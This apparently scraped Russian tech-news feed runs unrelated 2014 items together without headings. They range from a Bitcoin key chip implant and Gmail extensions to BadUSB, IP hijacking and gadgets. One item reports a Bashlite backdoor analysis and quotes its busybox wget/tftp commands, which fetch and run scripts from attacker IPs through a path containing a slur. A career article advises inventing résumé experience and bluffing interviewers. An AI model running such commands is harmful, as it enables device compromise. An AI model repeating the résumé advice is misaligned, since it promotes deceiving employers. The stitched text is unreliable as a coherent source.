Каждый владелец биткоинов наверняка задумывался о способе «холодного» долговременного хранения запасов валюты. На какой носитель записать копии кошельков, где их держать? Компакт-диски деградируют за несколько лет, USB-флешки хрупки и ненадёжны. Как ни странно, один из самых надёжных вариантов — табличка в древнем стиле с выбитыми на ней знаками (байтами) файла кошельков. Это может глиняная, металлическая, каменная табличка, или просто лист папируса бумаги. Пару листиков с распечаткой, спрятанные в сейфах, возможно, будут надёжнее флешки.
Голландский предприниматель Мартин Уисмайер (Martijn Wismeijer), однако, предлагает иной способ. По его мнению, надёжнее всего носить кошельки всегда с собой. С этим не поспоришь: так файлы надёжно защищены от пожаров, наводнений и прочих напастей, которые могут случиться по месту хранения физического носителя, так что хозяин потеряет к нему доступ. Здесь файлы всегда под рукой. Точнее, прямо в руке.
Биткоин-энтузиаст имплантировал маленькие NFC-микросхемы себе в ладони, так что у него всегда с собой цифровая информация.
В первом чипе данные обновляются: это контактная информация. А во втором чипе — часть зашифрованного секретного ключа для доступа к общему биткоин-кошельку, где хранятся основные резервы его фирмы Mr.Bitcoin. Другие части секретного ключа распределены между совладельцами фирмы с помощью схемы разделения секрета Шамира.
Для хранения хакер выбрал RFID-микросхемы NTAG216, совместимые со стандартом NFC Type 2. Маленькие стеклянные капсулы размером примерно 2х12 мм вмещают около 880 байт информации. Набор вместе с «заряженным» шприцем продаётся, например, в интернет-магазине DangerousThings.com за $99.
Говорят, инъекция чипа — болезненная процедура, это больнее, чем простой укол.
Возможно, ты по какой-то причине вдруг резко захотел стать программистом. Хорошая новость в том, что, поняв систему, можно научиться проходить собеседования и выживать первые месяцы на работе.
Плохая новость заключается в том, что от азбуки программирования всё равно никуда не деться, и чтобы чувствовать себя на новой должности комфортно, придётся в срочном порядке доучивать всё то, что ты, как предполагается, и так знаешь как свои пять пальцев.
Разумеется, речь в статье пойдёт исключительно о моём личном опыте, который позволял мне проходить собеседования даже в такие топовые компании, как Luxoft.
Как я стал программистом
С компьютером я впервые познакомился в 6 лет. В 13 лет у меня уже был свой персональный веб-сайт. В школе учился плохо, в универе тоже. На втором курсе мой друг нашёл работу Java-программистом и настоятельно рекомендовал мне сделать то же самое. Идея заинтриговала. Нужен был план.
Первый шаг — резюме
Первая и основная проблема, с которой сталкиваются новички, — резюме. Без адекватного, цепляющего резюме тебя не будут приглашать на собеседования. Но как быть тем, у кого совсем нет опыта работы? Для того чтобы «не с пустыми руками» идти к HR, мы с другом вписали мне в резюме целый год опыта работы над его проектом, над которым якобы вместе трудились.
Зарплатная политика
Следующим важным моментом в резюме после востребованных технологий и английского языка был желаемый оклад. Недолго думая, мы с другом решили играть по-крупному и написали заоблачную по тем временам сумму в тысячу долларов, которая должна была отсеять «компании-нищеброды».
Позор и стыд
Первые собеседования были провальными. Надо мной буквально смеялись. На первом же техническом собеседовании, где мне дали пару задачек на бумаге, меня раскусили в два счёта. Кто-то даже по-отечески посоветовал книгу Thinking in Java.
Первая работа
В конце концов меня пригласили на собеседование в филиал одной датской компании, где я ответил на фундаментальные вопросы и приятно удивил всех своим английским. Меня взяли на должность Junior Java developer с одним условием — первые три месяца я буду проходить курс SCJP (Sun Certified Java Programmer), который восполнил бы мои пробелы и выковал бы из меня более подготовленного специалиста. Что может быть лучше, чем оплачиваемая стажировка без нужды работать (выдавать свою некомпетентность)? В этой компании я проработал полгода, чтобы через несколько месяцев пойти на повышение в компанию покрупнее.
На основе своего горького, но всё же бесценного опыта я приведу список рекомендаций, которые помогут товарищам-авантюристам относительно быстро найти работу программистом.
Рекомендации для начинающих программистов
Резюме. Оно должно быть правильно отформатированным и написанным исключительно на английском. Если не хватает опыта, то его можно (и нужно) придумать, но следует подготовиться отвечать за каждое написанное в резюме слово. Например, если у тебя там написано JMS (Java Message Service), то как минимум следует пройти хоть одну обучалку и поиграться с JMS, поделать какие-нибудь примеры, пускай это и будет банальное «Hello, world!». Теперь будет удобнее пускать пыль в глаза, вы ты и правда «работал с JMS».
Выучи азбуку программирования. Если ты ещё можешь позволить себе «плавать» на глубоких уровнях каких-нибудь комплексных технологий вроде Struts и Spring, то неправильные ответы на элементарные вопросы тебе никогда не простят. Если тебя ночью разбудить, то ты должен уметь рассказать про ООП, наследование, инкапсуляцию, полиморфизм и другие базовые концепции, а также суметь объяснить это всё на примерах.
Практика. Научиться программировать можно, только лишь программируя. Это больно и неприятно (если ты не программист), но другого пути нет. Единственный способ перестать бояться задачек на собеседованиях — порешать их дома самостоятельно.
Читай книги и проходи туториалы по Java только на английском Абсолютно все термины программирования проще понимать на языке оригинала, то есть на английском. Читать техническую литературу по Java на русском — себя не уважать. Почему? Потому что, чтобы понимать что-нибудь в духе «…модуль таблицы во многих смыслах представляет собой промежуточный вариант, компромиссный по отношению к сценарию транзакции и модели предметной области», нужно быть поистине гением, которым ты вряд ли являешься.
Выучи, наконец, английский! В первую очередь это касается разговорного английского. Сложно сосчитать то огромное количество толковых программистов, которых на моей памяти забраковали по одной единственной причине — неудовлетворительный уровень разговорного английского. Нет, если ты, конечно, собираешься работать программистом где-нибудь в отечественной компании, то твой уровень языка не будет играть важной роли. Но если ты хочешь попасть на работу в международную компанию, то сам бог велел выучить язык. Уровень твоего английского будет конвертироваться в дополнительные сотни долларов прибавки к зарплате.
Знай рынок. Походи по вакансиям, почитай требования, поспрашивай друзей-программистов, сколько они получают. Используй сервисы, которые позволят составить более полную картину о рынке IT. Ты был бы удивлён, узнав о том, насколько велико количество талантливых программистов, которые получают в два раза меньше, чем могли бы, только лишь по причине своей лени и нежелания держать нос по ветру.
Торгуйся. Нет ничего предосудительного в том, чтобы торговаться за зарплату. Твоим аргументом в споре может быть как хороший английский, так и предложение о работе в другой компании. Последний аргумент особенно хорошо работает: «Да, но мне в Luxoft предлагают на 300 долларов больше, почему я должен соглашаться на ваши условия? Может, мы могли бы найти компромиссный вариант?». В своё время мне пару раз удалось выторговать дополнительную сотню долларов к своей зарплате, и через год эта сотня долларов дала мне дополнительные 1 800 долларов дохода на ровном месте. Ты должен понимать, что даже для небольших зарубежных IT-компаний лишняя сотня баксов как капля в море.
Найди себе ментора. Хорошо, если у тебя будет более опытный товарищ, который сможет помочь советом и ответить даже на самые глупые вопросы. Благодаря его опыту и моральной поддержке ты будешь продвигаться в программировании быстрее, чем в одиночку. Если нет ментора, то неплохо сходить на какие-нибудь курсы по программированию, которые не только дадут более полную картинку того, чем занимается программист, но и позволят познакомиться с более опытными людьми. Кто знает, может быть, кто-нибудь из них захочет стать твоим ментором.
Начни свой проект. Даже если он будет образцом самых худших практик кодинга и ты его никогда не закончишь, по крайней мере, у тебя будет то дело, ради которого захочется разбираться в программировании и изучать новые технологии. Кроме того, у тебя появится дополнительная тема для задушевных бесед на собеседованиях.
Ищи работу летом. Во-первых, когда все в отпусках, в компаниях более остро ощущается нехватка кадров и повышается вероятность того, что тебя позовут на собеседование. Во-вторых, поскольку твои конкуренты-соискатели тоже на отдыхе, у тебя опять-таки повышаются шансы быть замеченным HR.
Никогда не сдавайся. Даже если кажется, что ты заваливаешь собеседование, важно проявить стойкость и продолжить попытки решить задачу, какой бы сложной она ни казалась. Кто знает, может быть, тебя именно в этот момент проверяют на усердие в работе!
Избегай заданий на компьютере. Нет способа быстрее раскусить непрофессионала, чем сразу же бросить его в пекло программирования. Твоя задача — постараться перевести все беседы на высокий уровень, где обсуждаются общие подходы и концепции, но никак не конкретная реализация в решении той или иной задачи. Если тебе дали бумагу и ручку и попросили записать решение, то попроси возможность нарисовать его схематически. Таким образом, удалившись от синтаксиса конкретного языка, ты не только убережёте себя от каких-нибудь режущих глаз ошибок, но и покажешь, что способен мыслить абстрактно, не вдаваясь так уж сильно в детали.
Начинай говорить первым. Избегай ситуаций, когда в воздухе виснет пауза, во время которой в мозгу у интервьюера может созреть очередной коварный вопрос. Как только происходит какая-либо заминка, начинай рассказывать что-нибудь из того, что ты хорошо знаешь. Постарайся навязать интервьюеру свою игру.
Старайся говорить правду. Если ты никогда не писал PL/SQL процедуры, то лучше об этом сказать прямо. Возможно, в этом для тебя будет минус, однако ты убережёшь себя от нужды выкручиваться, отвечая на вопрос, в котором ничего не смыслишь. Опытный интервьюер за версту почувствует твои пробелы в знаниях.
Бойся маленьких компаний. В небольших компаниях, как правило, небольшие команды. Чем меньше в команде людей, тем быстрее тебя раскусят. Твоя цель — большая и неповоротливая корпорация, где ты сможешь выиграть для себя немного времени.
Соблюдай дресс-код. Если ты придёшь на собеседование на должность программиста в шикарном костюме, то это вызовет больше подозрения, чем если ты явишься в шортах или потёртом свитере. Не лишним будет также нацепить очки, мол, «эдакий я книжный червь».
Конечно, кто-то знающий может отметить, что приведённый выше рецепт — это скорее способ стать кодером, чем программистом, и он где-то будет прав. Однако дело всё в том, что вы никогда не найдёте вакансию с заголовком «Требуется плохой кодер». Всем нужны программисты. Желательно senior. У которых более пяти лет опыта работы на корпоративных проектах и которые одинаково хорошо владеют сразу несколькими языками программирования, при этом досконально разбираются в СУБД, умеют писать bash-скрипты, хранимые процедуры, знают в совершенстве Linux, TCP/IP, обладают лидерскими качествами, стрессоустойчивостью, коммуникабельностью и ещё массой навыков, «без которых никак».
Такие люди существуют, я их сам видел. Но их слишком мало, чтобы полностью покрыть нужды вечно голодного рынка IT-специалистов. А это значит, что у тебя всегда есть шанс, эдакий ты авантюрист.
Gmail давно перерос рамки службы по доставке корреспонденции и сегодня является средством коммуникации, источником новостей, планировщиком. Однако на этом попытки усовершенствования не прекращаются, и разработчики предлагают нам всё новые и новые решения, которые позволяют использовать Gmail удобнее, быстрее и продуктивнее.
Todoist for Gmail
Это расширение превращает ваш почтовый ящик в полноценный список дел, работающий в связке с системой управления задачами Todoist. См. отдельный обзор.
Это расширение поможет успешно разбираться с содержимым своего почтового ящика и всегда поддерживать его в идеальном состоянии. Для этого можно прятать на определённое время те письма, которые не требуют немедленного внимания, а также устанавливать себе напоминания таким образом, чтобы письма опять появлялись в папке «Входящие» в нужный момент.
Bananatag for Gmail — это инструмент, который позволяет отслеживать отправленные сообщения электронной почты, чтобы убедиться, что они достигли корреспондента и были прочитаны. Благодаря этому расширению ты будешь получать уведомления, которые оповестят о том, что пользователь открыл сообщение или перешёл по ссылке в письме.
Это расширение шифрует текст письма таким образом, что даже при взломе серверов Gmail никто не увидит в твоём сообщении ничего, кроме мешанины символов. Прочитать письмо сможет только адресат, используя предварительно полученный пароль.
CloudMagic является по сути не просто ещё одним расширением для Gmail, а полноценным почтовым клиентом. Ранее он существовал в виде мобильных программ для iOS и Android (обзор), а теперь доступен и в Google Chrome. С помощью CloudMagic ты сможешь объединить в одном интерфейсе сразу несколько почтовых аккаунтов, получать мгновенные уведомления о приходе новой корреспонденции, искать письма в любом из подключенных почтовых ящиков и многое другое.
Расширение Boomerang поможет отправлять письма по расписанию. Для этого следует указать точное время отправки и спокойно заниматься своими делами — все отмеченные письма будут автоматически отправлены именно в заданный срок. Кроме этого, сервис умеет напоминать о важных письмах, которые ты отложил на потом (обзор).
Это расширение предназначено для получения полной информации о любом человеке, с которым ты переписываешься. После его установки в интерфейсе Gmail появится дополнительная панель, на которую Rapportive подтянет данные об аккаунтах в основных социальных сетях и Skype. Кроме этого, ты сможешь даже почитать последние твиты своего адресата и посмотреть опубликованные им фото (обзор).
Хотя все руководства по повышению продуктивности рекомендуют как можно реже проверять почтовый ящик, иногда бывают ситуации, что ты ждёшь важное письмо и должен ответить на него максимально быстро. В этом случае обрати внимание на расширение Checker Plus, которое позволяет получать уведомления о приходе новых писем и даже отвечать на них, не открывая основной интерфейс почтового клиента.
Это расширение превращает Gmail в мощный комбайн, состоящий из планировщика задач, календаря и собственно почты. Оно сделает возможным распределение писем по проектам и срочности, присвоение различных меток, напоминаний, добавление комментариев и множество других функций. Одним словом, благодаря ActiveInbox вы сможете создать на основе своего почтового ящика полноценную систему управления проектом, которая поможет никогда не забывать о важных делах и событиях.
При общении по электронной почте важное значение имеет каждая деталь, в том числе и твоя подпись. Она должна быть запоминающейся, информативной, эффектной. Именно такую подпись ты сможешь создать с помощью расширения WiseStamp. Оно умеет подтягивать из сети твой аватар, данные профилей из социальных сетей, твои координаты и всё то, что ты посчитаешь нужным.
Глобальная маршрутизация интернет-адресов — исключительно сложная система, которая требует скоординированной работы организаций, разбросанных по всему миру, и чётких процедур. Сложность — враг безопасности. К сожалению, этим пользуются мошенники, которые присваивают себе чужие IP-адреса.
Две недели назад журналист в области информационной безопасности Брайан Кребс рассказал о мошеннической схеме, которую использовал один хорошо известный спамер в своей работе. Первым делом, он зарегистрировал пару хостинг-провайдеров в Болгарии: 1, 2. В течение нескольких месяцев в их распоряжение перешли десятки IP-адресов от провайдеров по всему миру: из Бразилии, Вьетнама, Индии, Китая, Мексики, Тайваня, ЮАР, Японии и других стран.
Например, на скриншоте показаны IP-адреса, полученные провайдером Mega-Spred с конца августа 2014 года.
По мнению экспертов, Mega-Spred и второй хостер эксплуатировали «уязвимость» в административной процедуре, которая действует в некоторых странах и регионах по части закрепления определённых диапазонов IP-адресов за конкретными хостерами и интернет-провайдерами. Если IP-адрес не используется, то злоумышленник может задекларировать его в своё распоряжение, используя несогласованность между административными органами.
Специалисты говорят, что налицо фундаментальная проблема с ведением списка адресов и таблиц маршрутизации в организации RIPE NCC — одном из пяти региональных интернет-регистраторов (RIR), выполняющих распределение интернет-ресурсов, а также связанную с этим регистрацию и координацию деятельности. RIPE NCC отвечает за Европу, Ближний Восток и часть Центральной Азии. В результате, оператор сети в регионе RIPE NCC может перерегистрировать на себя адреса, принадлежащие операторам в других зонах. RIPE NCC меняет запись в своей базе, не проводя проверку, а отсюда запись попадает в другие базы.
Специалисты RIPE NCC осведомлены об этой «уязвимости» и недавно обсуждали её. Но у них, судя по всему, нет доступа к достоверной информации о договорённостях между операторами о предоставлении IP-адресов друг другу, так что они не могут проверить каждую такую транзакцию на уровне Internet Routing Registry. В общем, на сегодняшний день остановить активность болгарских хостеров невозможно.
В августе этого года известные хакеры Карстен Нол (Karsten Nohl) и Якоб Лелл (Jakob Lell) из консалтинговой компании SR Labs сообщили о «фундаментальной уязвимости устройств USB». В октябре они опубликовали код программы для взлома компьютера по USB и с тех пор проверили сотни различных устройств разных производителей на наличие бага. Полный список проверенных устройств см. здесь.
Были проверены все USB-контроллеры от 8 крупнейших мировых производителей: Phison, Alcor, Renesas, ASmedia, Genesys Logic, FTDI, Cypress и Microchip.. Результаты проверки неоднозначные. Хорошая новость в том, что около половины устройств не подвержена уязвимости. Плохая новость: вы не можете сказать, какая конкретно половина.
Буквально каждая модель флешки, веб-камеры, концентратора или адаптера для флеш-карт поставляется с разной начинкой, в зависимости от партии. В одной партии может быть уязвимый контроллер, а в другой — уже нет. Модель контроллера не обозначена на упаковке. Узнать её можно только после вскрытия прибора. Приходится использовать устройство вслепую.
О результатах исследования авторы рассказали на конференции по безопасности PacSec, которая прошла на прошлой неделе в Токио (слайды, pdf).
Есть несколько интересных фактов, достойных отдельного упоминания. Например, уязвимости подвержены абсолютно все USB-флешки с контроллерами производства тайваньской фирмы Phison. Все чипы ASmedia, напротив, защищены от бага. У другой тайваньской компании Genesys уязвимы контроллеры USB 3.0, но безопасны контроллеры USB 2.0. В общем ситуация совершенно непредсказуемая.
Программа BadUSB устанавливается в прошивку периферийного устройства и полностью берёт под контроль компьютер при подключении к нему по USB. На компьютере жертвы BadUSB творит что угодно, в том числе видоизменяет файлы, которые устанавливаются в системе, и перенаправляет интернет-трафик на произвольные адреса, изменив DNS-записи. Зловред всегда может выдать себя за клавиатуру и ввести произвольные команды.
Установленная на компьютере программа может изменить прошивку по USB, а та, в свою очередь, может установить зловреда в системе. Из-за такого двустороннего взаимодействия ни одному устройству и компьютеру больше нельзя доверять. Вы не только должны ограничить свой ПК от посторонней периферии, но и сами не можете безопасно вставить чистую флэшку в посторонний ПК.
Поскольку код находится в прошивке, его довольно трудно обнаружить и удалить. Самая действенная защита — вообще запретить подключение к компьютеру новых USB-устройств: флешек, мышек, клавиатур, смартфонов и других приборов. А в будущем производители обязаны будут чётко указывать, какие конкретно микросхемы установлены в их устройствах. Как вариант, можно использовать криптографическую проверку обновлений прошивки.
После того как в сентябре огласили информацию об уязвимости Shellshock в Bash, замечено несколько целенаправленных атак, использующих именно эту уязвимость. Среди них атаки на SMTP-серверы и DDoS. А вот теперь прибавилась ещё одна. Последние образцы бэкдора Bashlite научились заражать сетевые устройства, работающие на операционных системах с популярным интерфейсом BusyBox.
Антивирусная компания Trend Micro пишет, что при заражении одного из устройств бэкдор Bashlite начинает сканировать локальную сеть в поисках уязвимых устройств BusyBox. Затем бэкдор авторизуется на них, используя набор стандартных имён пользователя и паролей (на скриншоте).
После установления соединения он скачивает и запускает вредоносные скрипты bin.sh и bin2.sh.
cd /tmp
busybox wget http://69[.]163[.]37[.]115/.niggers/bin.sh
busybox tftp -r bin.sh -g 69[.1]63[.]37[.]115
sh bin.sh
echo -e ‘\\x62\\x69\\x6e\\x66\\x61\\x67\\x74′\r\n
cd /tmp/
busybox wget http://176[.]10[.]250[.]37/.niggers/bin2.sh
busybox tftp -r bin2.sh -g 176[.]10[.]250[.]37
sh bin2.sh
echo -e ‘\\x62\\x69\\x6e\\x66\\x61\\x67\\x74′\r\n
Камерами видеонаблюдения с распознаванием лиц и идентификацией личности сегодня никого не удивишь. В каждом мегаполисе установлены десятки тысяч. Теперь перед Большим братом стоит следующая задача: как объединить камеры в единую сеть и отслеживать граждан по маршруту, передавая их от камеры к камере.
В этой области в последнее время опубликовано несколько научных работ. Например, специалисты из Вашингтонского университета разработали инновационную систему, которая использует 3D-реконструкцию сцены и метод принудительного Multiple-Kernel трекинга для слежения за отдельными объектами. Система успешно отслеживает людей, даже если область съёмки у видеокамер не перекрывается, и объект на время скрывается из виду.
«Отслеживание людей в трёхмерном пространстве достаточно ново, — говорит один из авторов научной работы, профессор электротехники в Вашингтонском университете Джен-Нэн Хван (Jenq-Neng Hwang). — Когда камеры говорят друг с другом, мы можем описать реальный мир в более динамичном смысле».
Всем нравится давать вторую жизнь вещам и находить применение деталям, которые иначе пришлось бы выбросить. Немецкий инженер Тобиас Медел (Tobias Mädel) именно это сделал со старым FM-передатчиком для мобильного телефона Sony-Ericsson. Его удалось подключить к Raspberry Pi.
Трансмиттер Sony-Ericsson MMR-70 соединяется с телефоном и транслирует музыку в FM-диапазоне, так что её можно слушать на обычном радиоприёмнике. Сейчас эти гаджеты морально устарели и на барахолке их можно найти за пару долларов. Так вот, за такую низкую цену, чуть поковырявшись, мы получаем полноценный FM-передатчик для Raspberry Pi.
Программа FMBerry, которую написал Тобиас Медел, поддерживает изменение частоты и мощности сигнала, и даже умеет отправлять на приёмник RDS-информацию, в частности, название композиции.
Как выяснилось, в этих передатчиках используется микроконтроллер AVR ATMega32 и модуль передатчика NS73. Всей этой электроникой можно управлять с платы Raspberry Pi (см. схему в PDF).
4. MetricsGraphics.js: библиотека, оптимизированная для визуализации и компоновки временных рядов (графиков с данными, отсортированными по времени), см. страницу с примерами. Поддерживаются разные виды графиков.
5. Particles.js: компактная библиотека JavaScript для генерации структур из частиц (демо).
6. Flashlight: недостающая система плагинов для Spotlight. Использует неофициальные Spotlight API, так что это самый настоящий грязный хак.
7. Pyspider: Powerful Spider System — удобная площадка для запуска «пауков», которые скачивают страницы по заданным правилам и выполняют другие задания в интернете, с системой мониторинга и прочими приятностями (демо).
8. Vivus.js: маленькая JavaScript-библиотека без зависимостей для генерации анимаций SVG на веб-странице (демо).
9. Thrust: фреймворк на основе Chromium Content Module, который позволяет запускать приложения, написанные на NodeJS, Go или Python, на разных платформах: Linux, MacOSX или Windows.
10. Delve: дебаггер для программ Go, написанный на Go.
Судя по первым отзывам пользователей, вчерашнее обновление OS X 10.10.1 не избавляет от проблем с устойчивостью WiFi-соединений, хотя компания Apple упомянула этот глюк среди прочих, которые должен был исправить новый патч.
Обновление OS X 10.10.1 (311 МБ) — первое обновление с момента выхода версии Yosemite 16 октября 2014 года. По официальному описанию, оно «улучшает стабильность, совместимость и безопасность вашего компьютера», в том числе:
повышает устойчивость WiFi-соединений;
повышает устойчивость соединений с сервером Microsoft Exchange;
позволяет отправлять письма некоторым почтовым провайдерам, которые изначально были ошибочно заблокированы;
исправляет глюк с подключением к удалённому компьютеру через сервис Back to My Mac;
решает проблему с отображением старых бэкапов Time Machine;
исправляет баг с выходом из спящего режима некоторых компьютеров Mac mini;
устраняет ещё несколько незначительных багов.
На форумах, где общаются пользователи продукции Apple, открыто несколько веток с обсуждением проблемы WiFi. Самая популярная из них насчитывает уже 1116 сообщений и 215 100 просмотров. Люди жалуются, что соединение WiFi всё равно непроизвольно разрывается каждые несколько минут даже после установки обновления 10.10.1.
Компания Union Tool представила LED-светильник Laser Light со встроенным радаром миллиметрового диапазона 24 ГГц, являющийся разработкой подразделения системных LSI корпорации Panasonic. Новый светильник освещает комнату как обычная лампа, одновременно отслеживая всё, что происходит в помещении. Благодаря миниатюрному встроенному радару он способен фиксировать объекты, находящиеся перед ним на расстоянии до 8 м.
Угол обзора составляет 160°. Например, находясь на потолке над кроватью, светильник Laser Light может фиксировать ритм дыхания или сна лежащего человека.
Продажи светильника начнутся в сентябре 2015 года, цена пока не сообщается.